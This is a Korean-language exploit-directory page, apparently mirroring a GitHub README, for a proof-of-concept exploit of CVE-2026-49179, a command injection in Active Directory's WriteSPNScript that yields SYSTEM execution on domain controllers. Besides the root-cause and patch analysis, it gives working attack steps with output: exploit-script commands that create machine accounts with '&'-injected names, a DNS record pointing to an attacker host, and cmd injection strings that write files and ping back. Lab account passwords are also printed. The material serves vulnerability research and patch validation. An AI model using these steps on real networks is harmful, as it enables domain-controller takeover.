Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection — CVE-2026-49179에 대한 개념 증명 및 익스플로잇 스크립트로, Active Directory의 WriteSPNScript 함수에서 발생하는 명령 주입 취약점으로 도메인 컨트롤러에서 SYSTEM 권한의 원격 코드 실행(RCE)이 가능합니다. | Kitploit
도구/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
Privilege EscalationVulnerability AnalysisExploitationPenetration Testing
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

CVE-2026-49179에 대한 개념 증명 및 익스플로잇 스크립트로, Active Directory의 WriteSPNScript 함수에서 발생하는 명령 주입 취약점으로 도메인 컨트롤러에서 SYSTEM 권한의 원격 코드 실행(RCE)이 가능합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
52541개월 전아직 검토되지 않음

CVE-2026-49179: Active Directory WriteSPNScript 명령 주입

요약

필드값
CVE IDCVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77 (명령 주입)
영향받는 구성 요소ntdsai.dll — WriteSPNScript 함수
영향받는 시스템Windows Server 2016, 2019, 2022, 2025 (패치 이전)
공격 벡터인증된 도메인 사용자 (모든 사용자)
영향도메인 컨트롤러에서 SYSTEM 권한으로 원격 코드 실행
공개일2026년 8월

취약점 설명

ntdsai.dll의 WriteSPNScript 함수는 Active Directory 유지 관리 작업 중 SPN(서비스 사용자 이름) 교정을 위한 배치 스크립트 명령을 생성합니다. 이 함수는 형식 문자열을 사용하여 repadmin.exe /writespn 명령을 구성하지만, DN(Distinguished Name) 매개변수를 정제하지 않아 & 문자(cmd.exe 명령 구분자)를 통한 명령 주입이 가능합니다.

취약한 형식 문자열:

%ws\repadmin.exe /writespn %ws %ws %ws\r\n

매개변수: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value

DN은 계정 생성 시 설정되는 머신 계정의 CN(Common Name)에서 파생됩니다. 이름에 셸 메타문자가 포함된 상태로 머신 계정이 생성되면, 해당 문자들이 이스케이프되지 않은 채 생성된 스크립트로 흘러 들어갑니다. cmd.exe가 스크립트를 실행할 때 &는 명령 구분자로 작동하여, 공격자가 제어하는 명령이 SYSTEM 권한으로 실행됩니다.

근본 원인 분석

검증 격차: SAMR vs LDAP

Active Directory에는 머신 계정을 관리하기 위한 두 가지 주요 프로토콜이 있습니다:

프로토콜문자 검증셸 메타문자
LDAP (SPN 값)엄격 — CONSTRAINT_ATT_TYPE가 & ; | ' \ $ ( )`를 거부차단됨
SAMR (머신 이름)느슨 — 기본 계정 이름 형식만 검증허용됨: & ' \ $ ( ) ! space`

이 검증 비대칭성이 근본 원인입니다:

  • LDAP SPN 검증은 SPN 값의 모든 위험한 문자를 차단합니다 (SPN을 통한 인젝션은 막다른 길)
  • SAMR 계정 생성은 sAMAccountName에 셸 메타문자를 허용하며, 이는 CN이 되어 DN으로 흘러 들어갑니다
  • DN은 정제 없이 WriteSPNScript로 전달됩니다

취약한 코드 (기본 ntdsai.dll)

패치되지 않은 바이너리의 0x1802a98a0 주소에서:

void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI output buffer
    char local_288[47];     // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // System directory

    GetSystemDirectoryW(local_258, 0x104);

    // Calculate buffer size (sum of all string lengths + overhead)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // Allocate and format — NO ESCAPING of DN or SPN parameters
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // Write to script file handle
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA는 DN을 출력 버퍼에 직접 포맷합니다. 이스케이프, 인용, 정제가 전혀 없습니다.

생성된 출력 (취약함)

CN=A&ping attacker&B인 머신의 경우:

C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

cmd.exe는 이를 다섯 개의 개별 문으로 해석합니다:

#문결과
1C:\...\repadmin.exe /writespn ADD CN=A실패 (잘린 DN)
2ping attacker주입됨 — SYSTEM으로 실행
3B,CN=Computers,DC=... HOST/A실패 (유효한 명령이 아님)
4ping attacker주입됨 — 다시 실행됨 (SPN 매개변수에서)
5B실패 (유효한 명령이 아님)

주입된 명령은 두 번 나타납니다 — 한 번은 DN 매개변수에서, 한 번은 SPN 매개변수(여기에는 머신 이름도 포함됨)에서 발생합니다.

패치 분석

패치된 WriteSPNScript(크기: 1477 → 2005 바이트)는 세 가지 변경을 수행합니다:

1. 이스케이프 함수 추가

DN과 SPN 매개변수 모두에 적용되는 두 가지 새로운 정리 함수:

  • EscapeForPowerShellSingleQuote() — 작은따옴표 문자열에서 탈출을 방지하기 위해 '를 이스케이프
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — 네이티브 argv 파싱을 위해 " 앞의 \ 시퀀스를 이스케이프

2. 출력 형식 변경

기본 (취약)패치됨
함수StringCchPrintfA (ANSI)StringCchPrintfW (Wide/Unicode)
인용없음작은따옴표로 매개변수 인용
출력repadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'

3. 기능 플래그 제거

이전 개정판에는 수정 사항을 제어하는 기능 플래그 Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled가 있었습니다. 최종 패치에서는 이 플래그가 제거되었습니다 — 수정 사항은 항상 활성화되며 비활성화할 수 없습니다.

개념 증명

테스트 환경

호스트역할IPOS
WINTERFELL도메인 컨트롤러192.168.56.11Windows Server 2019
공격자Kali Linux192.168.14.238Kali 2026
도메인north.sevenkingdoms.local
저권한 사용자samwell.tarly / Heartsbane일반 도메인 사용자
관리자 사용자robb.stark / sexywolfy도메인 관리자

1단계: SAMR이 셸 메타문자를 허용하는지 확인

spn_probe3.py를 사용하여 머신 계정 이름에서 SAMR이 허용하는 문자와 SPN 값에서 LDAP이 허용하는 문자를 테스트했습니다:

SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

핵심 발견: SAMR은 테스트된 8개의 셸 메타문자를 모두 허용한다. LDAP은 이들 모두를 차단한다. 주입 벡터는 SPN 값이 아니라 SAMR로 생성된 머신 이름을 통한다.

2단계: 일반 도메인 사용자로 주입 머신 생성

$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

또한 samwell.tarly로 생성됨:

[+] Created C&ping a&D$, RID: 1138

확인됨: 일반 도메인 사용자(PR:L)가 이름에 & 명령 주입을 사용하여 머신 계정을 생성할 수 있음.

3단계: 콜백용 DNS 레코드 추가(일반 사용자로서)

일반 도메인 사용자는 ADIDNS 레코드를 추가할 수 있음. dnstool.py를 사용하여 공격자를 가리키는 짧은 호스트 이름을 생성함:

python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11

DC에서 해상도 확인 완료:

*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name:    a.north.sevenkingdoms.local
Address:  192.168.14.238

4단계: DC에서 명령 주입 검증

DC에서 실행될 때 WriteSPNScript가 생성할 정확한 출력을 시뮬레이션합니다:

파일 쓰기 증명:

*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED

ICMP 콜백 증명:

*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127

공격자 tcpdump에서 ICMP 도착 확인:

02:36:10.815690 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12

파일 쓰기와 ICMP 콜백 모두 DN을 통한 명령 주입을 확인합니다.

입증된 내용

단계작업행위자결과
1SAMR이 머신 이름에 &를 허용samwell.tarly (PR:L)RID 1125, 1137, 1138
2LDAP이 SPN 값에 &를 거부samwell.tarly100% 거부
3콜백을 위한 DNS 레코드 생성samwell.tarly (PR:L)a → 192.168.14.238
4주입 CN이 포함된 머신 계정samwell.tarly (PR:L)A&echo POC&B$, C&ping a&D$
5cmd 주입을 통한 파일 쓰기DC (시뮬레이션된 WriteSPNScript)proof.txt = "INJECTED"
6cmd 주입을 통한 ICMP 콜백DC (시뮬레이션된 WriteSPNScript)3개의 ping 수신

장애물 및 제한 사항

1. sAMAccountName 길이 제한 (~15자)

머신 계정 sAMAccountName은 후행 $ 앞에서 약 15자로 제한됩니다(NetBIOS 호환성 제약). 이는 페이로드 복잡성을 심각하게 제한합니다.

영향: 머신 이름에 IP 주소, 긴 명령 또는 복잡한 페이로드를 직접 포함할 수 없습니다.

도구 다운로드